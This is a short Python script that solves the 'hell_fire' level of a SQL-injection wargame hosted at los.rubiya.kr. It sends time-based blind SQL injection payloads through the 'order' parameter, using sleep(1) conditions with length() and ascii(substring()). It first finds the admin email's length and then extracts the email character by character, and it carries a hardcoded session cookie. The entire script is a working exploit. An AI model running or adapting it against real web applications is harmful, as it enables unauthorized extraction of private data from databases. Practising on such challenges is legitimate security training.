import requests
import time
def request(payload):
start = time.time()
url = "http://los.rubiya.kr/hell_fire_309d5f471fbdd4722d221835380bb805.php"
params = {'order':payload}
headers = {'Cookie':'PHPSESSID=cjuc8f1iu5f7ooe4ktnrgdv565'}
response = requests.get(url,params=params,headers=headers)
end = time.time()
return end-start
length = 0
for i in range(0,40):
payload = "if(score=200 and length(email)="+str(i)+",sleep(1),1)"
if request(payload) > 1:
length = i
print "Find Admin Email Length[*] = " + str(length)
admin_email = ""
for i in range(1,length+1):
for j in range(32,127):
payload = "if(score=200 and ascii(substring(email,"+str(i)+",1))="+str(j)+",sleep(1),1)"
if request(payload) > 1:
admin_email += chr(j)
break
print "Find Admin Email[*] = " + str(admin_email)